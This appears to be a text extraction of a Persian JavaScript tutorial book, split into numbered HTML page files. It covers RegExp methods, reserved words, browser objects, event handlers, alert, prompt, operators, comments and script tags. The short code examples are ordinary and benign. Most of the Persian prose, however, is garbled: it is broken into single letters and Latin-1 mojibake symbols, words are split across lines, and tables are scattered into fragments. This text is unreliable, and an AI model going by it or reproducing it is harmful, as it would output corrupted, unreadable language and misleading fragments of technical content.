º Û
¸اب
global
g
Ï
د
Á»²
ی
Å
ن
³
و
ÎÁ
ا
±
ن
³
بو
µº
ن
³²
ک
Ú
چ
ignoreCase
i
Ï
د
Á»²
ی
Å
ن
³
و
ÎÁ
ا
±
ن
³
بو
µº
ن
³²
ک
Ú
چ
lastIndex
د
É
ر´ م·ک
»
د
ÔÌÁ »
د´ ر
Õ
ب
ë
اب
ä¸
ن
³²
ک
Ú
چ
ç¼²
ب¶ ش
Ê
بو
²
م
ì±
د
Á»
multiline
m
Ï
د
Á»²
ی
Å
ن
³
و
ÎÁ
ا
±
ن
³
بو
µº
ن
³²
ک
Ú
چ
243
͸
زد
²
دو
ØÉ³
================================================ FILE: HTML/246.html ================================================
source
د
Á»³²
م·گ
²
ب
»
ر
ÙæÉ
ارت م
Î
و´ ع
Ì
ل
» ¿¾
م
)
RegExp( Â
ظ
Ñ
م
Ê´
ار
Ç¿ ¾
ا
ȹ¸
م
Method
Description
compile)(
د
Õ
¼ ب¶ ب
1ć5 Ï
ار
È
سخ¶ ش
Á
ز
» ·
ژگ
±¼ ¿±»( ÙæÉ
ارت م
Î
ع
ڱ Ʊ
کامپا
)µº» Ï
شد
ý
سو
É
م
exec)(
اب
ä¸ ¿
¼لی
»
دن
Á»³²
بازگ
( ¶¾
رش
Ú±
ر
³ ë
اب
ä¸ ·º
ر
²
ب
test)(
)
د
Á»³²
باز م·گ
false
ا
±
true
ر
»
د
Ý
م
( ¶¾
رش
Ú±
ر
³ ë
اب
ä¸ ·º
ر
²
ب
toString)(
ÙæÉ
ارت م
Î
ع
Ú± ´»¶¾
رش
ѳ
ا
Õ
م
¶Ì±²Í
´س
À
ه در جا
¹
ش
À
¾ رزر
¹½Ð
ک
Ê
ا
»Ð
ک
¶ÂÈ
ز ج
» ê¾
مخ
Ʊ°³ ¶
ک¶ ب
µº» ·¸
ا
ÈÂ
ی¿ ک
ÉãÈ
¼ ه
Ï
ید´ رزر¼ شد
Â
ات ک
ÈÂ
ک
Æ
شام
²±
ز
Ѽ
جد
ن
»
و
É
¾خا½ آنها ب¶ ع
Á»
ز
»
د
±
د ¼ با
ɾ
یس
Á ϳ
¾فا
º» Æ
قاب
html
ر
³ ϳ
¾فا
º»
ا
± ¼ »¼
با زبان جا
ÆÃ»
¸د
.³²
هی× ک
²Å µ
پ
±²¹º»¼
س· با زبان جا
±
و
Á¶
ام
Á²
ب
Ö
ا
ÌÉ
ب¶ ه
²
م¾÷ی
Ö
ا
Á
abstract
else
instanceof
super
boolean
enum
int
switch
break
export
interface
synchronized
byte
extends
let
this
case
false
long
throw
catch
final
native
throws
char
finally
new
transient
class
float
null
true
244
ردی
µ¾²Ë Ï
ئ
²Ê
ج¼اول و ض
================================================ FILE: HTML/247.html ================================================
const
for
package
try
continue
function
private
typeof
debugger
goto
protected
var
default
if
public
void
delete
implements
return
volatile
do
import
short
while
double
in
static
with
alert
frames
outerHeight
all
frameRate
outerWidth
anchor
function
packages
anchors
getClass
pageXOffset
area
hasOwnProperty
pageYOffset
Array
hidden
parent
assign
history
parseFloat
blur
image
parseInt
button
images
password
checkbox
Infinity
pkcs11
clearInterval
isFinite
plugin
clearTimeout
isNaN
prompt
clientInformation
isPrototypeOf
propertyIsEnum
close
java
prototype
closed
JavaArray
radio
245
͸
زد
²
دو
ØÉ³
================================================ FILE: HTML/248.html ================================================
confirm
JavaClass
reset
constructor
JavaObject
screenX
crypto
JavaPackage
screenY
Date
innerHeight
scroll
decodeURI
innerWidth
secure
decodeURIComponent
layer
select
defaultStatus
layers
self
document
length
setInterval
element
link
setTimeout
elements
location
status
embed
Math
String
embeds
mimeTypes
submit
encodeURI
name
taint
encodeURIComponent
NaN
text
escape
navigate
textarea
eval
navigator
top
event
Number
toString
fileUpload
Object
undefined
focus
offscreenBuffering
unescape
form
open
untaint
forms
opener
valueOf
frame
option
window
ز
» ϳ
¾فا
º» ،
د م·باشد
ɺ ´
ها
³»
د
Ã
ب¶ ر
À¾
ک¶ مخ
²±
ام· ز
º» ²
کارب
ϳ
¾فا
º» ³
مور
²
¼رگ
²
بس¾¶ ب¶ م
246
ردی
µ¾²Ë Ï
ئ
²Ê
ج¼اول و ض
================================================ FILE: HTML/249.html ================================================
:³²
ی
ÌÁ
ر
»²
ق
ϳ
¾فا
º» ³
مور
µº» ²¾Ô
ب
ìÅ ،³
ج¶ شو
»
ا مو
äÃ
با
µº» ¿¹È
آنها م
onbeforeunload
ondragdrop
onkeyup
onmouseover
onblur
onerror
onload
onmouseup
ondragdrop
onfocus
onmousedown
onreset
onclick
onkeydown
onmousemove
onsubmit
oncontextmenu
onkeypress
onmouseout
onunload
247
͸
زد
²
دو
ØÉ³
================================================ FILE: HTML/25.html ================================================
23
خ´ اول
µ
[
ر·امه
³ ´
خروج
´»²
ر´ ب
»
د
Ý
¼ج· ¼ م
²Ã ¿¾
ش
»³ ،³
وش¾¶ م·شو
Á ê¾
زبانها´ مخ
é
ر قال
³ ¶
· ک
±
ام¶ها
Á²
ب
²
کث
» ´»²
ب
µ
پ
±²¹º»¼
ر جا
³ ·
¼ج
²Ã ı
ا
ÈÁ ´
ارها
¹
ه
»
¿ ر
±²¸Ï³
ا
º
ز
» ·¹± .
· م·باشد
Ô±
´ بد
»¶Â
مسئ
ı
ا
ÈÁ
Ä
ا بخ
ßɱ»
ر
³( ·
¼ج
²Ã
ر
³ ×¾Á»²Å ÆÃ»³ ²±³
ا
Ý
م
ı
ا
ÈÁ µÔ
¾ور ج
º³ ¿±» .
م·باشد
console.log
alert)(
¾ور
º³ ²
¼ج· ب¶ کارب
²Ã ı
ا
ÈÁ ´»²
ب
²Ì±³ á¼
. ر
³²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
مور
¼رگ
²
م
Ñ
سو
É
ک
:µº» Ï
شد
ϳ
¾فا
º»
b
²
´ م¾÷ی
»
¾و
Þ
م
ı
ا
ÈÁ ´»²
ب
²±
ز
Ñ
ر مثا
³ ¶
ک
槯
var b = ‘Ok’;
alert( b );
ı
ا
ÈÁ
OK
¶È
ک
³
با
ö
آ
ö
ا
Å Ú± ¶
ک
³²
هید ک
»
و
à Ï
اهد
Ð
ید م
É
ک
»²
ج
» »
ر
ø
و
Ó
¾ور
º³ ¶
ر صور¸· ک
³
Ï
اهد
Ð
´ م
»²
´ ب
²Ì±³
اگون
Á
ها´ گو
á¼
¾¶ ر
Î
ل
» .
هد
³·
ان م
ÐÁ »
ر
b
²
´ م¾÷ی
»
¾و
Þ
¼ م
Ï
شد
ϳ»³
هی
³·
م
ð
¸وضی
»²à¾
م¶ مخ
»³»
ر
³ ¶
ک
³
ر
»³ ³
ام¶ ¼جو
Á²
ر ب
³ ϳ»³ ·
¼ج
²Ã
µÔ
ج
²
¼رگ
²
ر م
³ ¶
ک
Ñ
سو
É
ک
Ä
ز بخ
»
ید
Á»
م·¸و
³
و
à ·¾
پ
±²¹º»¼
· کدها´ جا
º
ر
²
¼ ب
µ
´ ¸س
»²
ب
کد
Ø
و
Â
ب
²
ار ه
É
ر ک
³ Ï
ی¶ شد
ÎÕ¸
QR
¿ کد
¹º»
ا با
± ¼
د
±²Î
ب
ϲÔ
ب
Ï
ی¶ شد
ÎÕ¸
سان
±
و
Á¶
ام
Á²
ب
ϳ
¾فا
º»
ید.
É
ک
ϳ
¾فا
º» ¼
2
Ï
شد
³
ر
»¼ Ú¸
و
±
مار
µ±
ر ¼بسا
³ ،½
کدها´ ک¾ا
µ
´ ¸س
»²
ب
Ï
شد
³
ا
ß±» í
ر
³
ب¶ آ
ا
± F12 ²ÎÁ
ید میا
Â
با ک
( »
ر
DevTools
ب¶
Ê
بو
²
م
Ä
¼ بخ
ϳ²
ک
»²
ج
» »
ر
³
و
à ²
¼رگ
²
، م
µ
خس
Á á¼
´ ر
»²
ب
ر آن
³ »
ر
³
و
à ´
¼ کدها
ϳ²
باز ک
و
à ²
¼رگ
²
با م
éº
ا
ɾ
´ م
²Ì±³ ·Î
کی
²¸
ید
Â
ک
²
ا ه
±
Ctrl+Shift+I
ید:
É
ک
µ
ق
³ ²±
ز
²±
و
ภ¶
ید. ب
É
ک
»²
ج
» ¼ ¶¾
وش
Á µÈ
قس
¾ور
º³ ¿±» ´»²
ج
»
¼ با
µº» Ï
وش¾¶ شد
Á ²
¼رگ
²
م
Ñ
سو
É
ک
Ä
ر بخ
³ alert)'aaa'(
¾ور
º³ ²±
ز
²±
و
à¸
ر
³
.³»³
هد
»
و
à ı
ا
ÈÁ »
ر
²±
¾ور ز
º³ ·
¼ج
²Ã ¼ Ï
شد
²
¶ ظاه
Þ
ر صف
³ ·Å
آ
ö
ا
Å
2 http://mariotek.ir/console
================================================ FILE: HTML/250.html ================================================
================================================ FILE: HTML/251.html ================================================
================================================ FILE: HTML/26.html ================================================
24
ه ای
±²
حث پ
²
و مب
³±²
آشن
[
ر·امه
³ Æ
و¼ود
´³¼
¼ر
µÓ
ا
±
ر
³ ´»²
ب
ù±»
بسیار ر
á¼
. ر
µº» ²
ز کارب
»
عات
Í
ط
» µÓ
ا
±
ر
³ ،¶
ام
Á²
´ ب
³¼
ز ¼ر
»
ور
æÉ
م
ات
Þ
ر صف
³ Ñ
و
ÈÕ
د ¼ ب¶ طور م
ɾ
´ هس
³¼
دها´ ¼ر
Â
ی
Ó ´»
ر
»³ ¶
ک
µº» ·±
ها
Ö²Ó
ز
» ϳ
¾فا
º» ²
ز کارب
»
ار
¹
¼ آن ب
Ù
ی
É
م·ک
ϳ
¾فا
º» ´²¸Ï³
ا
º á¼
ز ر
»
کار
ç¼²
´ ش
»²
ا ¼ ب
ßɱ»
ر
³ ·
د ¼ل
Á
م·شو
ϳ
¾فا
º» ½¼
:µº» prompt)..( Û
¾¿ ¸اب
Ó²
گ
var number = prompt(
“Enter a number: “
);
console
.log(number);
²æÁ ³
ر مور
»
د
Ý
ن م
³²
ک
³
ر
»¼ µÔ
د´ ج
Â
ی
Ó ¼ Ï
شد
ϳ»³ ı
ا
ÈÁ ö
آ
ö
ا
Å Ú± ø
و
Ó
¶ کد
Õä
´ ق
»²
ج
»
با
ر
³ ·
¼ج
²Ã
شدن
ö
چا
î
باع
Ö¼³
¾ور
º³ ،²
کارب
óº
ر ¸و
»
د
Ý
ن م
³²
ک
³
ر
»¼
ز
»
د
Õ
. ب
³
م·شو
³
ا
ß±»
هد شد.
»
و
à Ñ
سو
É
ک
ó
ی
Þ
م
[
)
Editors( ¹È Æ
گر¸ا
Â
ی
²
ویر
د.
ÉÉ
´ م·ک
²
پ
º
ا
ßÁ
ر آ
³ »
ر
³
و
Ã
زمان
éÂõ» ،
سان
±
و
Á¶
ام
Á²
ک¶ ب
µº» ·ä
ی
Þ
کد، م
²Ìб»²±¼
پارچ¶
¹± ¶Õº
¸و
ó
ی
Þ
: م
³
م· شو
Ù
سی
ݸ ·Â
¾¶ ک
º³ ¼³ ¶
¼ ب
Ï
شد
ϳ
¾فا
º» ·
س
±
و
Á
´ کد
»²
ر ب
»×
ب
» ¿±»
¾ورها.
±³»
ا
± ϳ
ا
º ´
ها
²Ìб»²±¼ ¼ )
IDE
3
(
¼ ϳ
بو
ê¾
رها´ مخ
»×
ب
» ´»
ر
»³ ¶
د ک
ɾ
د´ هس
Éȸ
ها´ قدر
²Ìб»²±¼
پارچ
º» ¹
¸وسع
²
ط¼ا
±½³
ا´
Ô±
ا
Ó ¿
ن بی
»
ز آنها م· ¸و
» ϳ
¾فا
º»
د. با
ɾ
هس
éº
ا
É
بسیار م
Æ
کام
Ïܼ²Å Ú±
ر
³ ϳ
¾فا
º» ´»²
ب
ϳ
¾فا
º» ·
س
±
و
Á¶
ام
Á²
کار کد با ¸وج¶ ب¶ زبان ب
³
و
à Æ
ی
ȹ¸ ´
ژگ·ها
±¼
ز
» ،
ا شد
ß
ح¾· جاب
»
ب¶ ر
Ïܼ²Å
سخ¶
Á Ѳ¾É
د ک
ÉÁ
ما
ê¾
ها´ مخ
Ø
ر
»×
ب
» ¼
رها
»×
ب
»
ز
» ¼ ³
و
ÈÁ µ
¼ ¸س
)
ا
äà ÛÓ
ر
ا
α³ »
، کد ر
³²
ک
:µº» ²±
ز
ï²
ها ب¶ ش
IDE
¿±²¸ò¼²Õ
ز م
» ´³»
د
Õ¸ .³²
ب
ϲÔ
ر آنها ب
³ )
Git
( µ
گی
Æ
مث
)
VCS
(
±
²
کارب
µÈº ¶Õº
´ ¸و
»²
ک¶ ب
WebStrom
ر
»×Ó»Ö²Á
د
ÉÁ
ما
Jetbrains
Ù
رها´ ¸ی
»×Ó»Ö²Á ¶
وع
Èß
م
.³²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
مور
)
Front-End
(
±
Visual Studio Code
ر
»×Ó»Ö²Á
±
Netbeans
ر
»×Ó»Ö²Á
3 Integrated Development Environment
================================================ FILE: HTML/27.html ================================================
25
خ´ اول
µ
¶Õº
ها´ ¸و
ó
ی
Þ
د. م
ɾ
هس
ϳ
¾فا
º» Æ
قاب
³
ها´ موجو
Æ
عام
Ù¾
یس
º ²
کث
»
ر
³ Ï
شد
ϳ²
ب
Ö
ا
Á ´
رها
»×
ب
»
ک¶ با ¸وج¶
³
ر
»³ ³
¼جو
Ï
¿ حوز
±»
ر
³ ·
وع
ɾ
رها´ بسیار م
»×
ب
» ¼ µ
یس
Á ø
و
Ó µ
ب¶ لیس
³¼
د
Þ
ر م
»×Ó»Ö²Á
ید.
É
¾خا½ ک
Á» ³
و
à ϳ
¾فا
º» ´»²
ب
»
¶ ر
ɱ×
¿ گ
±²¾Ô
یاز، ب
Á ¼ ¶
ق
Í
ب¶ ع
¸وج¶
Æ
قاب
µ
ع
²º ¼ ·¹Îº ¶
د ¼ل· با ¸وج¶ ب
ɾ
یس
Á
د
Éȸ
ها قدر
IDE
Ï
ز
»
د
Á» ¶
ب
سب¾:
²
تور¼ا
»´·
ز
»
IDE
ار
É
ر ک
³
سان
±
و
Á¶
ام
Á²
ب
°
و
ÈÕ
د. م
Á²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
کدها مور
Û±²º ı»²±¼ ´»²
آنها، ب
ϳ
¾فا
º» Û±²º ´
ها
ı»²±¼ ¼ ³
و
à ¶Á»
ا ر¼ز
ñÕ
¼ ب
ϳ
ا
º ،Ú
کارها´ کوچ
Ö
ا
ßÁ» ´»²
ب
Ù
¾ور ه
±³» Ú±
ر
³ »
ن آنها ر
»
، م·¸و
³
¶ م·شو
Ç»
ر
»
¾ورها
±³» ´»²
ف· ک¶ ب
¾
گی¿ها´ مخ
ÍÅ ¶
با ¸وج¶ ب
Ï
¼ز
²
م
» .
د
ÉÉ
م·ک
Ú± ¼
¾ور
±³» Ú± ¿
· بی
Ý
قی
³ ´
د
É
زب
²
ن م
»
·¸و
ÈÁ ¼ µÃ
ا
º
د
Éȸ
پارچ¶ قدر
¹± ¶Õº
¸و
ó
ی
Þ
م
Ú±
حد
:Ù±²
م·ب
Ö
ا
Á »
ر
³
¾ورها´ موجو
±³» ¿±²¾Ó¼²Õ
ز م
» ´³»
د
Õ¸ ²±
ر ز
³ .µÓ²
گ
²æÁ
ر
³
IDE
±
Sublime Text
¾ور
±³»
±
Atom
¾ور
±³»
±
Notepad
++
¾ور
±³»
±
Emacs
¼
Vim
¾ورها´
±³»
[
)
Operators
(
لگر¸ا
ǽ
م¶
»³»
ر
³ .
د
ɾ
هس
²±³
ا
Ý
ها ¼ م
²
ر¼´ م¾÷ی
²
ت ب
»²
¸÷یی
Ñ
ا
È
ع
» ¼ ³
ا
ß±» ´»²
· ب
±
رها
»×
ب
»
ها
²ÌÂÈ
ع
ی
É
· م·ک
Ó²Õ
م
»
ر
µ
پ
±²¹º»¼
¸ورها´ زبان جا
»²Å»
ا
±
ها
²ÌÂÈ
¿ ع
±²¸ù±»
ز ر
» ´³»
د
Õ¸
±
a = 1
Ñ
ن مثا
»
و
É
ب¶ ع
=
¾سا½
Á» ²ÌÂÈ
ع
±
a + 1
د
ÉÁ
ما
/
Ù
سی
ݸ ¼
*
½²
، ض
-
ë±²
، ¸ف
+
ÛÈ
اض· ج
±
ها´ ر
²ÌÂÈ
ع
±
د
ɾ
اض· هس
±
¾سا½ ¼ ر
Á» ²ÌÂÈ
ز ع
» ·Î
کی
²¸ ¶
ک
/=
¼
+=
،
-=
،
*=
·Î
کی
²¸ ½
¾سا
Á» ´
ها
²ÌÂÈ
ع
.槯
a = a + 1
با
ѳ
ا
Õ
ک¶ م
a += 1
د
ÉÁ
ما
±
.槯
a = a + 1
با
ѳ
ا
Õ
ک¶ م
a++
د
ÉÁ
ما
--
Ä
¼ کاه
++
ı»×Ó» ´
ها
²ÌÂÈ
ع
±
console.log)(
د
ÉÁ
ما
object
ژگ·
±¼ ¶
· ب
º²¾º³ ²ÌÂÈ
ع
±
هد
»
و
à µÎÞ
ص
Æ
ی
à
ژگ·ها´ آن ب¶ ¸ف
±¼ ¼
object
¶ با
ä
ب
»
ر ر
³ ´
د
Õ
ها´ ب
Ä
م¶ ¼ بخ
»³»
ر
³
شد.
±
ن
»
و
É
ب¶ ع
==
´ قو´!
²
ب
»²
اب
Á ¼
=
ی
Õ
´ ض
²
ب
»²
اب
Á ،
===
´ قو´
²
ب
»²
، ب
==
ê
ی
Õ
´ ض
²
ب
»²
ب
²ÌÂÈ
ع
هد شد.
»
و
à ϳ»³ ð
¸وضی
³
¿ مور
±»
ر
³ ϳ»³ ç»
و
Á» ¼ ²±³
ا
Ý
م
Ä
ر بخ
³ ¶
ک
a == b
Ñ
مثا
±
ب¶
>=
ا مسا¼´
± ²¾
، ب×رگ
<=
ا مسا¼´
± ²¾¹
، کوچ
>
²¾¹
، کوچ
<
²¾
´ ب×رگ
»¶
س
±
ا
Ý
ها´ م
²ÌÂÈ
ع
================================================ FILE: HTML/28.html ================================================
26
ه ای
±²
حث پ
²
و مب
³±²
آشن
a <= b
Ñ
ن مثا
»
و
É
ع
±
²
ک¶ ه
µº» ·ÉÕ
¿ م
±» ¶
ب
a && b
Ñ
ن مثا
»
و
É
. ب¶ ع
||
·Ð
¼ بخ
&&
ف·
ä
· ع
ÝäÉ
ها´ م
²ÌÂÈ
ع
د.
É
ش¾¶ باش
»³
true
ر
»
د
Ý
¼ م
³ ²
ه
b
¼
a
²
¼ م¾÷ی
³
[
)
Comment
(
امنت
È
ز
» ò
ک¶ هد
µº» ¿±» ³»³
ر
»²
ق
²æÁ
د مد
±
س· با
±
و
Á¶
ام
Á²
ب
Ö
ا
ÌÉ
ر ه
³ ¶
· ک
ÈÔ
بسیار م
éÂä
م
ک¶ کدها´
µº» ·ÉÕ
¿ م
±» ¶
¶ ب
¹Â
ب
µ
یس
Á ²¸
´ کامپیو
»²
ن آن ب
³
بو
ÙÔÓ Æ
قاب
óÝÓ ،
وش¾¿ کد
Á
ام¶،
Á²
¶ ب
Õº
¸و
Ö
ا
ÌÉ
ر ه
³ ¼ ¶¾
ش
»³
دن
Á»
و
à µ
ی
Â
قاب
Ù
ه
²Ì±³
سان
±
و
Á¶
ام
Á²
´ ب
»²
د ب
±
با
Ï
وش¾¶ شد
Á
µ±
ور رعا
æÉ
¿ م
±» ´»²
· ک¶ ب
±
ز کارها
» ·¹± .
باشد
À
خ
Ð
¼ م
ð
ض
»¼ Í
ز آن کام
» Ä
بخ
²
ه
³²
کارب
.µº
ها
²
م¾÷ی
Ö
و
Ô
¼ مف
ð
ی
Þ
ر´ ص
»
گذ
Ö
ا
Á ،³
م·شو
óÃ ²
ات ب¶ ه
Þ
ن ¸وضی
³¼×Ó»
¶ آن
Õº
¸و
µ
ی
Â
اء قاب
ݸ
ر
» ¼ ¶
ام
Á²
· ب
±
ا
Á»
و
à ı»×Ó» µÔ
ر ج
»×
ب
» ¿±²¸ÙÔ
م
گف¾¶ م·شو
²
ن¿ گذ·ر
³
کا
س·
±
و
Á¶
ام
Á²
ب
ïÍä
ص
»
ر
³
¿ کار
±» ¶
. ب
µº» ¶
ام
Á²
ز ب
» Ï»
لخو
³ Ä
ا بخ
±
Æ
لی
³ ¿
ی
È
د ¼ ب¶ ه
Á
¾¶ م·شو
Ó²
گ
Ï
د
±³
ا
Á á
ز
»³²Å Ö
ا
ÌÉ
د ک¶ ب¶ ه
ɾ
ام¶ هس
Á²
ز ب
» ·
وط
äÃ
ها
µÉ
کام
ϳ
¾فا
º» µÔ
ج
ً
ا
Ó²
ها ص
µÉ
د. کام
Á
· شو
ÈÁ Ʊ
د
θ
باشد
ÙÔÓ Æ
قاب
²¸
´ کامپیو
»²
ک¶ ب
1 ¼ 0 ²±³
ا
Ý
ب¶ م
.µº» á
رز
»
اقد
Ó ¿
´ ماشی
»²
د ¼ ب
Á²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
مور
)
دگان کد
É
ه
³ ¶Õº
¸و
(
سان
±
و
Á¶
ام
Á²
ب
[
Ƽ²ÎÏ
امنت
È ¹½²¶Ð
óÂõ
ا
± ð
ی
Þ
ص
²ÌÁ
ک¶ بیا
³
ر
»
د
Á ³
اص· ¼جو
Ã
ون
Á
¼ قا
Ï
قاعد
å
هی
ð
ی
Þ
ر´ ص
»
گذ
µÉ
´ کام
»²
ب
:µÓ²
گ
²æÁ
ر
³ »
ر
²±
ز
³
ر
»
ر´ مو
»
گذ
µÉ
کام
Ö
ا
ÌÉ
د ب¶ ه
±
باشد ¼ل· با
µÉ
کام
Ú±
ن
³
بو
1
.
ام¶ باشد.
Á²
ب
µ
کیفی
Ä
کاه
î
د باع
Á»
م·¸و
µÉ
کد بد¼ن کام
2
.
ز
» Ú
· کوچ
Â
ی
à ´
ها
Ä
´ بخ
»
ز
» ¶
ب
µÉ
کام
Ò
ر
³ Ñ
´ مثا
»²
ب
(
ز حد
» Ä
ر´ بی
»
گذ
µÉ
کام
³²¹ÂÈ
د ع
Á»
·¸و
ÈÁ ¶
ک
µº» Ï
وش¾¶ شد
Á ´
ن کدها
³
بو
ê
ی
Õ
ض
Ï
د
É
ه
³
ان
ÐÁ °
ا
Ⱦ
ح
» )
کد
د.
É
بیان ک
»
ر
³
و
Ã
:µº» Ï
شد
ê±²Õ¸ ´
ر
»
گذ
µÉ
ز کام
» ç
و
Á ¼³ µ
پ
±²¹º»¼
ر زبان جا
³
================================================ FILE: HTML/29.html ================================================
27
خ´ اول
µ
// Single-line comment
/* Multi
line
comment */
طی
É Ó
¶گذ´ر¾ ت
Ñ
کام
µÉ
ن کام
»
و
É
د ب¶ ع
±
بیا
//
ز
»
د
Õ
چی×´ ک¶ ب
²
. ه
Ù
ی
É
م·ک
ϳ
¾فا
º»
//
ز
» ·äà ڸ µÉ
وش¾¿ کام
Á ´»²
ب
´²¾
ک
»
کار
²
· ه
äà ڸ µÉ
ر کام
³ .
هد شد
»
و
à ¶¾Ó²
گ
Ï
د
±³
ا
Á á
ز
»³²Å Ö
ا
ÌÉ
¼ ب¶ ه
Ï
¾¶ شد
Ó²
گ
²æÁ
ر
³
ً
ا
Ó²
ر´ ص
»
گذ
µÉ
کام
ç
و
Á ¿±» ¿
ی
ÉãÈ
. ه
³
ر
»
د
Á ³
¾· ¼جو
±³¼
د
Þ
¼ م
³²
ی
Ì
ر ب
»²
ق
ϳ
¾فا
º» ³
د مور
Á»
م·¸و
شو
ϳ
¾فا
º»
ا´ آن
Ô¾Á»
ر
³
ا
±
ز کد
» ÆÎ
د ق
Á»
م·¸و
var
a =
1
;
// Declare a, give it the value of 1
طی
É ¹Ñ
¶گذ´ر¾ چ
Ñ
کام
·Õ
ق
»
´ مو
»²
ر´ ب
»
گذ
µÉ
کام
ç
و
Á ¿±» .³
م·شو
ϳ
¾فا
º»
/*.. */
ز
» ·äÃ
د
É
ر´ چ
»
گذ
µÉ
ر کام
³
ر
³ .³²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
ش¾¶ باشد مور
»³ ³
¼جو
óÃ Ú±
ز
» ²¾Ð
ا¸· بی
Þ
یاز ب¶ ¸وضی
Á ¶
ک
á
ز
»³²Å Ö
ا
ÌÉ
ک¶ ب¶ ه
»²
، چ
³²
ک
ϳ
¾فا
º»
¶ آن
Á
ر میا
³
*/
é
کی
²¸
ز
»
ن
»
·¸و
ÈÁ ·äÃ
د
É
ر´ چ
»
گذ
µÉ
کام
ر´
»
گذ
µÉ
کام
ç
و
Á ¿±»
ز
» .³²
هد ک
»
و
Ã
ا
äà ³
ا
ß±» ¼ Ï
¾¶ شد
Ó²
گ
²æÁ
ر
³ ´
ر
»
گذ
µÉ
ا´ کام
Ô¾Á»
ن
»
و
É
ب¶ ع
Ï
اهد
Ð
م¶ م
»³»
ر
³ »
ر
²¾Ð
ها´ بی
Ñ
. مثا
³²
ک
ϳ
¾فا
º» ×
ی
Á ¶
ام
Á²
ز ب
»
کد
óÃ Ú± ¶Á
ر میا
³ ·¾
ن ح
»
م·¸و
ید:
É
م·ک
/* Declare a, give it the value of 1
Declare a, give it the value of 1 */
var
a =
1
;
var
b =
2
;
var
a =
/* Declare a, give it the value of 1 */
1
;
ر´
»
گذ
µÉ
کام
³
م·شو
ϳ
آ¼ر
µ
پ
±²¹º»¼
ز کدها´ جا
» ·±
ها
Ñ
ک¶ مثا
Ä
بخ
²
´ ه
»²
¿ ک¾ا½ ب
±» ¶
م
»³»
ر
³
ز
» ϳ
¾فا
º» .
هد
³ ¶Ç»
ر
» Ï
وش¾¶ شد
Á
¶ کد
Õä
ق
³
ر مور
³ »
´ ر
²¾Ð
ات بی
Þ
¸ا ¸وضی
³²
ی× صورت م·گی
Á
»
ن آن ر
»
·¸و
ÈÁ ¼ ³
سو½ م·شو
Þ
· م
Á
زبا
²
س· با ه
±
و
Á¶
ام
Á²
ب
²±
ذ
Å
ا
Á ·±»
جد
Ä
ر´ بخ
»
گذ
µÉ
کام
.µÓ²
گ
Ï
د
±³
ا
Á
================================================ FILE: HTML/3.html ================================================
================================================ FILE: HTML/30.html ================================================
28
ه ای
±²
حث پ
²
و مب
³±²
آشن
[
)
Blocks
( ¹È »
ا
ÑÌÐ
¸ا یا
Ò¶
ل
³
ر
»²
¾¶ ق
º³
ا
± ϼ²
گ
Ú±
ر
³
ت
»
¾ور
º³
ز
» ´²º Ú± ¶
ک
槯
یاز
Á ·
س· گاه
±
و
Á¶
ام
Á²
ب
Ö
ا
ÌÉ
ب¶ ه
Ø
و
Â
ب
µ
پ
±²¹º»¼
ر جا
³ .³
کد گف¾¶ م·شو
Ø
و
Â
ب
Ú±
ت
»
¾ور
º³
ز
» ϼ²
¿ گ
±» ¶
ب
ً
حا
Íä
ص
» ¶
د ک
Á²
گی
د.
Á
م·شو
À
خ
Ð
م
{.. }
باز ¼ بس¾¶
³°
آکو
µ
جف
ë±²
ز ط
»
کدها
ط·
²
ت ش
»
ار
Î
با ع
Ï»²È
ه
ً
°
و
ÈÕ
د ¼ل· م
Á
ر
»³ ϳ
¾فا
º» µ
ی
Â
ی× قاب
Á ·
وم
È
ها ب¶ صورت ع
Ø
و
Â
د ک¶ ب
É
چ
²
ه
»
ها´ بسیار´ ر
Ñ
م¶ ک¾ا½ مثا
»³»
ر
³ ¶
بوط
²
ها´ م
Ä
ر بخ
³ ¼
د
Á¼
¶ها ب¶ کار م·ر
ÝÂ
ی¿ ح
ÉãÈ
¼ ه
د:
ɾ
ها´ کد هس
Ø
و
Â
´ ب
»
ر
»³ ¶
ک
³²
هید ک
»
و
à Ï
اهد
Ð
م
if
(a >
1
) {
b = b +
1
;
console
.log(b);
}
¿±» .µº» ¶¾Ó
ب¶ کار ر
if
ط·
²
ارت ش
Î
با ع
Ï»²È
ید ک¶ ه
É
م·ک
Ï
اهد
Ð
م
»
کد´ ر
Ø
و
Â
ب
ø
و
Ó Ñ
ر مثا
³
ط·
²
ت ش
»
ار
Î
ع
³
ر مور
³ ²¾Ð
ات بی
Þ
¼ ¸وضی
槯
کد
Ø
و
Â
ب
Ö
و
Ô
ا با مف
È
· ش
±
ا
É
آش
µÔ
ج
ً
ا
Ó²
ص
Ñ
مثا
.µÃ
هید آمو
»
و
à ¶
م
»³»
ر
³ »
ر
³
ر
»
مو
²±
ا
º ¼
ÃÀ Ê
ا
Õ
¶ در صف
̱²Í
´س
À
ا¾ جا
ȹ
¾ ک
²½
´رگ
²Ò
ر
»²
ق
</script>
¼ >
script
< ´
ها
û¸ ¿
ر بی
³
د
±
با
µ
پ
±²¹º»¼
، کدها´ جا
HTML
ات
Þ
ر صف
³
ن مثا
»
و
É
د. ب¶ ع
Á²
گی
<script>
document
.getElementById(
“elementId”
).innerHTML =
“JavaS-
cript Code”
;
</script>
ø
و
Ó Ñ
د مثا
ÉÁ
ا
È
ه
µ
پ
±²¹º» ´
ها
û¸
ز
»
ن
»
م·¸و
³
یاز بو
Á ¶
ک
³»
د
Õ¸ ²
ب¶ ه
HTML
¶Þ
صف
Ú±
ر
³
µÔ
¿ ج
±»
ز
» ¼ ³»³
ر
»²
ق
>
body
<
ا
± >
head
< Ä
ر بخ
³ »
ها ر
û¸ ¿±»
ن
»
ی¿ م·¸و
ÉãÈ
. ه
³²
ک
ϳ
¾فا
º»
ن
³»³
ر
»²
ک¶ با ق
µº» ...¼
src , type , defer
د
ÉÁ
· ما
±
ژگ·ها
±¼ ´»
ر
»³ û¸ ¿±» .³
ر
»
د
Á ³
¸فا¼¸· ¼جو
================================================ FILE: HTML/31.html ================================================
29
خ´ اول
µ
ک¶
Ù
هی
³ µÎ
س
Á
src
ر
³ Ï
شد
Ï
شار
» µ
پ
±²¹º»¼
جا
Ʊ
ا
Ó ¶
ب
»
اص· ر
à ´
ژگ·ها
±¼ Ù
ی
Á»
آنها م·¸و
د.
ßÉ
·گ
ÈÁ ·ÂÕÓ ½
ر چارچو½ ک¾ا
³
· آنها
º
ر
²
ب
